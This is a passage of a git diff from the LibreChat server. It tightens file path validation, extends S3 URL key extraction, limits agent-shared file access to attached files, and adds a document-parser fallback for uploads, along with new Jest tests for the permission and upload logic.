@@ -180,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
const isValidPath = (req, base, subfolder, filepath) => {
const normalizedBase = path.resolve(base, subfolder, req.user.id);
const normalizedFilepath = path.resolve(filepath);
- return normalizedFilepath.startsWith(normalizedBase);
+ const rel = path.relative(normalizedBase, normalizedFilepath);
+ return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
};
/**
diff --git a/api/server/services/Files/S3/crud.js b/api/server/services/Files/S3/crud.js
index 0721e33b29..c821c0696c 100644
--- a/api/server/services/Files/S3/crud.js
+++ b/api/server/services/Files/S3/crud.js
@@ -3,7 +3,7 @@ const fetch = require('node-fetch');
const { logger } = require('@librechat/data-schemas');
const { FileSources } = require('librechat-data-provider');
const { getSignedUrl } = require('@aws-sdk/s3-request-presigner');
-const { initializeS3, deleteRagFile } = require('@librechat/api');
+const { initializeS3, deleteRagFile, isEnabled } = require('@librechat/api');
const {
PutObjectCommand,
GetObjectCommand,
@@ -13,6 +13,8 @@ const {
const bucketName = process.env.AWS_BUCKET_NAME;
const defaultBasePath = 'images';
+const endpoint = process.env.AWS_ENDPOINT_URL;
+const forcePathStyle = isEnabled(process.env.AWS_FORCE_PATH_STYLE);
let s3UrlExpirySeconds = 2 * 60; // 2 minutes
let s3RefreshExpiryMs = null;
@@ -252,15 +254,83 @@ function extractKeyFromS3Url(fileUrlOrKey) {
try {
const url = new URL(fileUrlOrKey);
- return url.pathname.substring(1);
+ const hostname = url.hostname;
+ const pathname = url.pathname.substring(1); // Remove leading slash
+
+ // Explicit path-style with custom endpoint: use endpoint pathname for precise key extraction.
+ // Handles endpoints with a base path (e.g. https://example.com/storage/).
+ if (endpoint && forcePathStyle) {
+ const endpointUrl = new URL(endpoint);
+ const startPos =
+ endpointUrl.pathname.length +
+ (endpointUrl.pathname.endsWith('/') ? 0 : 1) +
+ bucketName.length +
+ 1;
+ const key = url.pathname.substring(startPos);
+ if (!key) {
+ logger.warn(
+ `[extractKeyFromS3Url] Extracted key is empty for endpoint path-style URL: ${fileUrlOrKey}`,
+ );
+ } else {
+ logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`);
+ }
+ return key;
+ }
+
+ if (
+ hostname === 's3.amazonaws.com' ||
+ hostname.match(/^s3[-.][a-z0-9-]+\.amazonaws\.com$/) ||
+ (bucketName && pathname.startsWith(`${bucketName}/`))
+ ) {
+ // Path-style: https://s3.amazonaws.com/bucket-name/key or custom endpoint (MinIO, R2, etc.)
+ // Strip the bucket name (first path segment)
+ const firstSlashIndex = pathname.indexOf('/');
+ if (firstSlashIndex > 0) {
+ const key = pathname.substring(firstSlashIndex + 1);
+
+ if (key === '') {
+ logger.warn(
+ `[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: ${fileUrlOrKey}`,
+ );
+ } else {
+ logger.debug(
+ `[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+ );
+ }
+
+ return key;
+ } else {
+ logger.warn(
+ `[extractKeyFromS3Url] Unable to extract key from path-style URL: ${fileUrlOrKey}`,
+ );
+ return '';
+ }
+ }
+
+ // Virtual-hosted-style or other: https://bucket-name.s3.amazonaws.com/key
+ // Just return the pathname without leading slash
+ logger.debug(`[extractKeyFromS3Url] fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${pathname}`);
+ return pathname;
} catch (error) {
+ if (fileUrlOrKey.startsWith('http://') || fileUrlOrKey.startsWith('https://')) {
+ logger.error(
+ `[extractKeyFromS3Url] Error parsing URL: ${fileUrlOrKey}, Error: ${error.message}`,
+ );
+ } else {
+ logger.debug(`[extractKeyFromS3Url] Non-URL input, using fallback: ${fileUrlOrKey}`);
+ }
+
const parts = fileUrlOrKey.split('/');
if (parts.length >= 3 && !fileUrlOrKey.startsWith('http') && !fileUrlOrKey.startsWith('/')) {
return fileUrlOrKey;
}
- return fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+ const key = fileUrlOrKey.startsWith('/') ? fileUrlOrKey.substring(1) : fileUrlOrKey;
+ logger.debug(
+ `[extractKeyFromS3Url] FALLBACK. fileUrlOrKey: ${fileUrlOrKey}, Extracted key: ${key}`,
+ );
+ return key;
}
}
@@ -482,4 +552,5 @@ module.exports = {
refreshS3Url,
needsRefresh,
getNewS3URL,
+ extractKeyFromS3Url,
};
diff --git a/api/server/services/Files/permissions.js b/api/server/services/Files/permissions.js
index d909afe25a..b9a5d6656f 100644
--- a/api/server/services/Files/permissions.js
+++ b/api/server/services/Files/permissions.js
@@ -1,10 +1,29 @@
const { logger } = require('@librechat/data-schemas');
-const { PermissionBits, ResourceType } = require('librechat-data-provider');
+const { PermissionBits, ResourceType, isEphemeralAgentId } = require('librechat-data-provider');
const { checkPermission } = require('~/server/services/PermissionService');
const { getAgent } = require('~/models/Agent');
/**
- * Checks if a user has access to multiple files through a shared agent (batch operation)
+ * @param {Object} agent - The agent document (lean)
+ * @returns {Set} All file IDs attached across all resource types
+ */
+function getAttachedFileIds(agent) {
+ const attachedFileIds = new Set();
+ if (agent.tool_resources) {
+ for (const resource of Object.values(agent.tool_resources)) {
+ if (resource?.file_ids && Array.isArray(resource.file_ids)) {
+ for (const fileId of resource.file_ids) {
+ attachedFileIds.add(fileId);
+ }
+ }
+ }
+ }
+ return attachedFileIds;
+}
+
+/**
+ * Checks if a user has access to multiple files through a shared agent (batch operation).
+ * Access is always scoped to files actually attached to the agent's tool_resources.
* @param {Object} params - Parameters object
* @param {string} params.userId - The user ID to check access for
* @param {string} [params.role] - Optional user role to avoid DB query
@@ -16,7 +35,6 @@ const { getAgent } = require('~/models/Agent');
const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDelete }) => {
const accessMap = new Map();
- // Initialize all files as no access
fileIds.forEach((fileId) => accessMap.set(fileId, false));
try {
@@ -26,13 +44,17 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
return accessMap;
}
- // Check if user is the author - if so, grant access to all files
+ const attachedFileIds = getAttachedFileIds(agent);
+
if (agent.author.toString() === userId.toString()) {
- fileIds.forEach((fileId) => accessMap.set(fileId, true));
+ fileIds.forEach((fileId) => {
+ if (attachedFileIds.has(fileId)) {
+ accessMap.set(fileId, true);
+ }
+ });
return accessMap;
}
- // Check if user has at least VIEW permission on the agent
const hasViewPermission = await checkPermission({
userId,
role,
@@ -46,7 +68,6 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
}
if (isDelete) {
- // Check if user has EDIT permission (which would indicate collaborative access)
const hasEditPermission = await checkPermission({
userId,
role,
@@ -55,23 +76,11 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
requiredPermission: PermissionBits.EDIT,
});
- // If user only has VIEW permission, they can't access files
- // Only users with EDIT permission or higher can access agent files
if (!hasEditPermission) {
return accessMap;
}
}
- const attachedFileIds = new Set();
- if (agent.tool_resources) {
- for (const [_resourceType, resource] of Object.entries(agent.tool_resources)) {
- if (resource?.file_ids && Array.isArray(resource.file_ids)) {
- resource.file_ids.forEach((fileId) => attachedFileIds.add(fileId));
- }
- }
- }
-
- // Grant access only to files that are attached to this agent
fileIds.forEach((fileId) => {
if (attachedFileIds.has(fileId)) {
accessMap.set(fileId, true);
@@ -95,7 +104,7 @@ const hasAccessToFilesViaAgent = async ({ userId, role, fileIds, agentId, isDele
* @returns {Promise>} Filtered array of accessible files
*/
const filterFilesByAgentAccess = async ({ files, userId, role, agentId }) => {
- if (!userId || !agentId || !files || files.length === 0) {
+ if (!userId || !agentId || !files || files.length === 0 || isEphemeralAgentId(agentId)) {
return files;
}
diff --git a/api/server/services/Files/permissions.spec.js b/api/server/services/Files/permissions.spec.js
new file mode 100644
index 0000000000..85e7b2dc5b
--- /dev/null
+++ b/api/server/services/Files/permissions.spec.js
@@ -0,0 +1,409 @@
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { error: jest.fn() },
+}));
+
+jest.mock('~/server/services/PermissionService', () => ({
+ checkPermission: jest.fn(),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ getAgent: jest.fn(),
+}));
+
+const { logger } = require('@librechat/data-schemas');
+const { Constants, PermissionBits, ResourceType } = require('librechat-data-provider');
+const { checkPermission } = require('~/server/services/PermissionService');
+const { getAgent } = require('~/models/Agent');
+const { filterFilesByAgentAccess, hasAccessToFilesViaAgent } = require('./permissions');
+
+const AUTHOR_ID = 'author-user-id';
+const USER_ID = 'viewer-user-id';
+const AGENT_ID = 'agent_test-abc123';
+const AGENT_MONGO_ID = 'mongo-agent-id';
+
+function makeFile(file_id, user) {
+ return { file_id, user, filename: `${file_id}.txt` };
+}
+
+function makeAgent(overrides = {}) {
+ return {
+ _id: AGENT_MONGO_ID,
+ id: AGENT_ID,
+ author: AUTHOR_ID,
+ tool_resources: {
+ file_search: { file_ids: ['attached-1', 'attached-2'] },
+ execute_code: { file_ids: ['attached-3'] },
+ },
+ ...overrides,
+ };
+}
+
+beforeEach(() => {
+ jest.clearAllMocks();
+});
+
+describe('filterFilesByAgentAccess', () => {
+ describe('early returns (no DB calls)', () => {
+ it('should return files unfiltered for ephemeral agentId', async () => {
+ const files = [makeFile('f1', 'other-user')];
+ const result = await filterFilesByAgentAccess({
+ files,
+ userId: USER_ID,
+ agentId: Constants.EPHEMERAL_AGENT_ID,
+ });
+
+ expect(result).toBe(files);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+
+ it('should return files unfiltered for non-agent_ prefixed agentId', async () => {
+ const files = [makeFile('f1', 'other-user')];
+ const result = await filterFilesByAgentAccess({
+ files,
+ userId: USER_ID,
+ agentId: 'custom-memory-id',
+ });
+
+ expect(result).toBe(files);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+
+ it('should return files when userId is missing', async () => {
+ const files = [makeFile('f1', 'someone')];
+ const result = await filterFilesByAgentAccess({
+ files,
+ userId: undefined,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toBe(files);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+
+ it('should return files when agentId is missing', async () => {
+ const files = [makeFile('f1', 'someone')];
+ const result = await filterFilesByAgentAccess({
+ files,
+ userId: USER_ID,
+ agentId: undefined,
+ });
+
+ expect(result).toBe(files);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+
+ it('should return empty array when files is empty', async () => {
+ const result = await filterFilesByAgentAccess({
+ files: [],
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([]);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+
+ it('should return undefined when files is nullish', async () => {
+ const result = await filterFilesByAgentAccess({
+ files: null,
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toBeNull();
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('all files owned by userId', () => {
+ it('should return all files without calling getAgent', async () => {
+ const files = [makeFile('f1', USER_ID), makeFile('f2', USER_ID)];
+ const result = await filterFilesByAgentAccess({
+ files,
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual(files);
+ expect(getAgent).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('mixed owned and non-owned files', () => {
+ const ownedFile = makeFile('owned-1', USER_ID);
+ const sharedFile = makeFile('attached-1', AUTHOR_ID);
+ const unattachedFile = makeFile('not-attached', AUTHOR_ID);
+
+ it('should return owned + accessible non-owned files when user has VIEW', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(true);
+
+ const result = await filterFilesByAgentAccess({
+ files: [ownedFile, sharedFile, unattachedFile],
+ userId: USER_ID,
+ role: 'USER',
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toHaveLength(2);
+ expect(result.map((f) => f.file_id)).toContain('owned-1');
+ expect(result.map((f) => f.file_id)).toContain('attached-1');
+ expect(result.map((f) => f.file_id)).not.toContain('not-attached');
+ });
+
+ it('should return only owned files when user lacks VIEW permission', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(false);
+
+ const result = await filterFilesByAgentAccess({
+ files: [ownedFile, sharedFile],
+ userId: USER_ID,
+ role: 'USER',
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([ownedFile]);
+ });
+
+ it('should return only owned files when agent is not found', async () => {
+ getAgent.mockResolvedValue(null);
+
+ const result = await filterFilesByAgentAccess({
+ files: [ownedFile, sharedFile],
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([ownedFile]);
+ });
+
+ it('should return only owned files on DB error (fail-closed)', async () => {
+ getAgent.mockRejectedValue(new Error('DB connection lost'));
+
+ const result = await filterFilesByAgentAccess({
+ files: [ownedFile, sharedFile],
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([ownedFile]);
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('file with no user field', () => {
+ it('should treat file as non-owned and run through access check', async () => {
+ const noUserFile = makeFile('attached-1', undefined);
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(true);
+
+ const result = await filterFilesByAgentAccess({
+ files: [noUserFile],
+ userId: USER_ID,
+ role: 'USER',
+ agentId: AGENT_ID,
+ });
+
+ expect(getAgent).toHaveBeenCalled();
+ expect(result).toEqual([noUserFile]);
+ });
+
+ it('should exclude file with no user field when not attached to agent', async () => {
+ const noUserFile = makeFile('not-attached', null);
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(true);
+
+ const result = await filterFilesByAgentAccess({
+ files: [noUserFile],
+ userId: USER_ID,
+ role: 'USER',
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([]);
+ });
+ });
+
+ describe('no owned files (all non-owned)', () => {
+ const file1 = makeFile('attached-1', AUTHOR_ID);
+ const file2 = makeFile('not-attached', AUTHOR_ID);
+
+ it('should return only attached files when user has VIEW', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(true);
+
+ const result = await filterFilesByAgentAccess({
+ files: [file1, file2],
+ userId: USER_ID,
+ role: 'USER',
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([file1]);
+ });
+
+ it('should return empty array when no VIEW permission', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(false);
+
+ const result = await filterFilesByAgentAccess({
+ files: [file1, file2],
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([]);
+ });
+
+ it('should return empty array when agent not found', async () => {
+ getAgent.mockResolvedValue(null);
+
+ const result = await filterFilesByAgentAccess({
+ files: [file1],
+ userId: USER_ID,
+ agentId: AGENT_ID,
+ });
+
+ expect(result).toEqual([]);
+ });
+ });
+});
+
+describe('hasAccessToFilesViaAgent', () => {
+ describe('agent not found', () => {
+ it('should return all-false map', async () => {
+ getAgent.mockResolvedValue(null);
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ fileIds: ['f1', 'f2'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('f1')).toBe(false);
+ expect(result.get('f2')).toBe(false);
+ });
+ });
+
+ describe('author path', () => {
+ it('should grant access to attached files for the agent author', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: AUTHOR_ID,
+ fileIds: ['attached-1', 'not-attached'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('attached-1')).toBe(true);
+ expect(result.get('not-attached')).toBe(false);
+ expect(checkPermission).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('VIEW permission path', () => {
+ it('should grant access to attached files for viewer with VIEW permission', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(true);
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ role: 'USER',
+ fileIds: ['attached-1', 'attached-3', 'not-attached'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('attached-1')).toBe(true);
+ expect(result.get('attached-3')).toBe(true);
+ expect(result.get('not-attached')).toBe(false);
+
+ expect(checkPermission).toHaveBeenCalledWith({
+ userId: USER_ID,
+ role: 'USER',
+ resourceType: ResourceType.AGENT,
+ resourceId: AGENT_MONGO_ID,
+ requiredPermission: PermissionBits.VIEW,
+ });
+ });
+
+ it('should deny all when VIEW permission is missing', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValue(false);
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ fileIds: ['attached-1'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('attached-1')).toBe(false);
+ });
+ });
+
+ describe('delete path (EDIT permission required)', () => {
+ it('should grant access when both VIEW and EDIT pass', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValueOnce(true).mockResolvedValueOnce(true);
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ fileIds: ['attached-1'],
+ agentId: AGENT_ID,
+ isDelete: true,
+ });
+
+ expect(result.get('attached-1')).toBe(true);
+ expect(checkPermission).toHaveBeenCalledTimes(2);
+ expect(checkPermission).toHaveBeenLastCalledWith(
+ expect.objectContaining({ requiredPermission: PermissionBits.EDIT }),
+ );
+ });
+
+ it('should deny all when VIEW passes but EDIT fails', async () => {
+ getAgent.mockResolvedValue(makeAgent());
+ checkPermission.mockResolvedValueOnce(true).mockResolvedValueOnce(false);
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ fileIds: ['attached-1'],
+ agentId: AGENT_ID,
+ isDelete: true,
+ });
+
+ expect(result.get('attached-1')).toBe(false);
+ });
+ });
+
+ describe('error handling', () => {
+ it('should return all-false map on DB error (fail-closed)', async () => {
+ getAgent.mockRejectedValue(new Error('connection refused'));
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: USER_ID,
+ fileIds: ['f1', 'f2'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('f1')).toBe(false);
+ expect(result.get('f2')).toBe(false);
+ expect(logger.error).toHaveBeenCalledWith(
+ '[hasAccessToFilesViaAgent] Error checking file access:',
+ expect.any(Error),
+ );
+ });
+ });
+
+ describe('agent with no tool_resources', () => {
+ it('should deny all files even for the author', async () => {
+ getAgent.mockResolvedValue(makeAgent({ tool_resources: undefined }));
+
+ const result = await hasAccessToFilesViaAgent({
+ userId: AUTHOR_ID,
+ fileIds: ['f1'],
+ agentId: AGENT_ID,
+ });
+
+ expect(result.get('f1')).toBe(false);
+ });
+ });
+});
diff --git a/api/server/services/Files/process.js b/api/server/services/Files/process.js
index 30b47f2e52..d01128927a 100644
--- a/api/server/services/Files/process.js
+++ b/api/server/services/Files/process.js
@@ -16,6 +16,7 @@ const {
removeNullishValues,
isAssistantsEndpoint,
getEndpointFileConfig,
+ documentParserMimeTypes,
} = require('librechat-data-provider');
const { EnvVar } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
@@ -523,6 +524,12 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
* @return {Promise}
*/
const createTextFile = async ({ text, bytes, filepath, type = 'text/plain' }) => {
+ const textBytes = Buffer.byteLength(text, 'utf8');
+ if (textBytes > 15 * megabyte) {
+ throw new Error(
+ `Extracted text from "${file.originalname}" exceeds the 15MB storage limit (${Math.round(textBytes / megabyte)}MB). Try a shorter document.`,
+ );
+ }
const fileInfo = removeNullishValues({
text,
bytes,
@@ -553,29 +560,52 @@ const processAgentFileUpload = async ({ req, res, metadata }) => {
const fileConfig = mergeFileConfig(appConfig.fileConfig);
- const shouldUseOCR =
+ const shouldUseConfiguredOCR =
appConfig?.ocr != null &&
fileConfig.checkType(file.mimetype, fileConfig.ocr?.supportedMimeTypes || []);
- if (shouldUseOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
- throw new Error('OCR capability is not enabled for Agents');
- } else if (shouldUseOCR) {
+ const shouldUseDocumentParser =
+ !shouldUseConfiguredOCR && documentParserMimeTypes.some((regex) => regex.test(file.mimetype));
+
+ const shouldUseOCR = shouldUseConfiguredOCR || shouldUseDocumentParser;
+
+ const resolveDocumentText = async () => {
+ if (shouldUseConfiguredOCR) {
+ try {
+ const ocrStrategy = appConfig?.ocr?.strategy ?? FileSources.document_parser;
+ const { handleFileUpload } = getStrategyFunctions(ocrStrategy);
+ return await handleFileUpload({ req, file, loadAuthValues });
+ } catch (err) {
+ logger.error(
+ `[processAgentFileUpload] Configured OCR failed for "${file.originalname}", falling back to document_parser:`,
+ err,
+ );
+ }
+ }
try {
- const { handleFileUpload: uploadOCR } = getStrategyFunctions(
- appConfig?.ocr?.strategy ?? FileSources.mistral_ocr,
- );
- const {
- text,
- bytes,
- filepath: ocrFileURL,
- } = await uploadOCR({ req, file, loadAuthValues });
- return await createTextFile({ text, bytes, filepath: ocrFileURL });
- } catch (ocrError) {
+ const { handleFileUpload } = getStrategyFunctions(FileSources.document_parser);
+ return await handleFileUpload({ req, file, loadAuthValues });
+ } catch (err) {
logger.error(
- `[processAgentFileUpload] OCR processing failed for file "${file.originalname}", falling back to text extraction:`,
- ocrError,
+ `[processAgentFileUpload] Document parser failed for "${file.originalname}":`,
+ err,
);
}
+ };
+
+ if (shouldUseConfiguredOCR && !(await checkCapability(req, AgentCapabilities.ocr))) {
+ throw new Error('OCR capability is not enabled for Agents');
+ }
+
+ if (shouldUseOCR) {
+ const ocrResult = await resolveDocumentText();
+ if (ocrResult) {
+ const { text, bytes, filepath: ocrFileURL } = ocrResult;
+ return await createTextFile({ text, bytes, filepath: ocrFileURL });
+ }
+ throw new Error(
+ `Unable to extract text from "${file.originalname}". The document may be image-based and requires an OCR service to process.`,
+ );
}
const shouldUseSTT = fileConfig.checkType(
diff --git a/api/server/services/Files/process.spec.js b/api/server/services/Files/process.spec.js
new file mode 100644
index 0000000000..7737255a52
--- /dev/null
+++ b/api/server/services/Files/process.spec.js
@@ -0,0 +1,347 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ EnvVar: { CODE_API_KEY: 'CODE_API_KEY' },
+}));
+
+jest.mock('@librechat/api', () => ({
+ sanitizeFilename: jest.fn((n) => n),
+ parseText: jest.fn().mockResolvedValue({ text: '', bytes: 0 }),
+ processAudioFile: jest.fn(),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ mergeFileConfig: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/images', () => ({
+ convertImage: jest.fn(),
+ resizeAndConvert: jest.fn(),
+ resizeImageBuffer: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/v2', () => ({
+ addResourceFileId: jest.fn(),
+ deleteResourceFileId: jest.fn(),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ addAgentResourceFile: jest.fn().mockResolvedValue({}),
+ removeAgentResourceFiles: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/assistants/helpers', () => ({
+ getOpenAIClient: jest.fn(),
+}));
+
+jest.mock('~/server/services/Tools/credentials', () => ({
+ loadAuthValues: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ createFile: jest.fn().mockResolvedValue({ file_id: 'created-file-id' }),
+ updateFileUsage: jest.fn(),
+ deleteFiles: jest.fn(),
+}));
+
+jest.mock('~/server/utils/getFileStrategy', () => ({
+ getFileStrategy: jest.fn().mockReturnValue('local'),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ checkCapability: jest.fn().mockResolvedValue(true),
+}));
+
+jest.mock('~/server/utils/queue', () => ({
+ LB_QueueAsyncCall: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+ determineFileType: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/Audio/STTService', () => ({
+ STTService: { getInstance: jest.fn() },
+}));
+
+const { EToolResources, FileSources, AgentCapabilities } = require('librechat-data-provider');
+const { mergeFileConfig } = require('librechat-data-provider');
+const { checkCapability } = require('~/server/services/Config');
+const { getStrategyFunctions } = require('~/server/services/Files/strategies');
+const { processAgentFileUpload } = require('./process');
+
+const PDF_MIME = 'application/pdf';
+const DOCX_MIME = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
+const XLSX_MIME = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
+const XLS_MIME = 'application/vnd.ms-excel';
+const ODS_MIME = 'application/vnd.oasis.opendocument.spreadsheet';
+const ODT_MIME = 'application/vnd.oasis.opendocument.text';
+const ODP_MIME = 'application/vnd.oasis.opendocument.presentation';
+const ODG_MIME = 'application/vnd.oasis.opendocument.graphics';
+
+const makeReq = ({ mimetype = PDF_MIME, ocrConfig = null } = {}) => ({
+ user: { id: 'user-123' },
+ file: {
+ path: '/tmp/upload.bin',
+ originalname: 'upload.bin',
+ filename: 'upload-uuid.bin',
+ mimetype,
+ },
+ body: { model: 'gpt-4o' },
+ config: {
+ fileConfig: {},
+ fileStrategy: 'local',
+ ocr: ocrConfig,
+ },
+});
+
+const makeMetadata = () => ({
+ agent_id: 'agent-abc',
+ tool_resource: EToolResources.context,
+ file_id: 'file-uuid-123',
+});
+
+const mockRes = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnValue({}),
+};
+
+const makeFileConfig = ({ ocrSupportedMimeTypes = [] } = {}) => ({
+ checkType: (mime, types) => (types ?? []).includes(mime),
+ ocr: { supportedMimeTypes: ocrSupportedMimeTypes },
+ stt: { supportedMimeTypes: [] },
+ text: { supportedMimeTypes: [] },
+});
+
+describe('processAgentFileUpload', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockRes.status.mockReturnThis();
+ mockRes.json.mockReturnValue({});
+ checkCapability.mockResolvedValue(true);
+ getStrategyFunctions.mockReturnValue({
+ handleFileUpload: jest
+ .fn()
+ .mockResolvedValue({ text: 'extracted text', bytes: 42, filepath: 'doc://result' }),
+ });
+ mergeFileConfig.mockReturnValue(makeFileConfig());
+ });
+
+ describe('OCR strategy selection', () => {
+ test.each([
+ ['PDF', PDF_MIME],
+ ['DOCX', DOCX_MIME],
+ ['XLSX', XLSX_MIME],
+ ['XLS', XLS_MIME],
+ ['ODS', ODS_MIME],
+ ['Excel variant (msexcel)', 'application/msexcel'],
+ ['Excel variant (x-msexcel)', 'application/x-msexcel'],
+ ])('uses document_parser automatically for %s when no OCR is configured', async (_, mime) => {
+ mergeFileConfig.mockReturnValue(makeFileConfig());
+ const req = makeReq({ mimetype: mime, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('does not check OCR capability when using automatic document_parser fallback', async () => {
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('uses the configured OCR strategy when OCR is set up for the file type', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.mistral_ocr);
+ });
+
+ test('uses document_parser as default when OCR is configured but no strategy is specified', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { supportedMimeTypes: [PDF_MIME] },
+ });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('throws when configured OCR capability is not enabled for the agent', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ checkCapability.mockResolvedValue(false);
+ const req = makeReq({
+ mimetype: PDF_MIME,
+ ocrConfig: { strategy: FileSources.mistral_ocr },
+ });
+
+ await expect(
+ processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() }),
+ ).rejects.toThrow('OCR capability is not enabled for Agents');
+ });
+
+ test('uses document_parser (no capability check) when OCR capability returns false but no OCR config', async () => {
+ checkCapability.mockResolvedValue(false);
+ const req = makeReq({ mimetype: PDF_MIME, ocrConfig: null });
+
+ await processAgentFileUpload({ req, res: mockRes, metadata: makeMetadata() });
+
+ expect(checkCapability).not.toHaveBeenCalledWith(expect.anything(), AgentCapabilities.ocr);
+ expect(getStrategyFunctions).toHaveBeenCalledWith(FileSources.document_parser);
+ });
+
+ test('uses document_parser when OCR is configured but the file type is not in OCR supported types', async () => {
+ mergeFileConfig.mockReturnValue(makeFileConfig({ ocrSupportedMimeTypes: [PDF_MIME] }));
+ const req = makeReq({
